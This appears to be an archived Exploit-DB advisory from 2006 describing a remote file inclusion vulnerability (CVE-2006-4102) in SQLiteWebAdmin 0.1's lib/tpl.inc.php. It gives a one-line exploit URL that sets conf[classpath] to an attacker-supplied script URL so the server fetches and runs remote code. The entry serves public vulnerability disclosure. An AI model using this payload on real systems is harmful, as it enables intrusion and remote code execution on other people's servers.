SQLiteWebAdmin 0.1 tpl.inc.php Remote Include Vulnerability

2006-08-07T00:00:00
ID EDB-ID:2123
Type exploitdb
Reporter SirDarckCat
Modified 2006-08-07T00:00:00

Description

SQLiteWebAdmin 0.1 (tpl.inc.php) Remote Include Vulnerability. CVE-2006-4102. Webapps exploit for php platform

                                        
                                            SQLiteWebAdmin
http://sourceforge.net/projects/sqlitewebadmin

SQLiteWebAdmin is a simple PHP program for administrating
a SQL DataBase.

It suffers of a Remote File Inclusion Vulnerability.

The bug is in the "tpl.inc.php" program in the "lib"
directory, and is exploited when passing the parameter
"conf[classpath]".

http://www.server.com/lib/tpl.inc.php?conf[classpath]=[URL-OF-SCRIPT]

Succesfull explotation, needs register_globals=on

Att.
SirDarckCat
elhacker.net

# milw0rm.com [2006-08-07]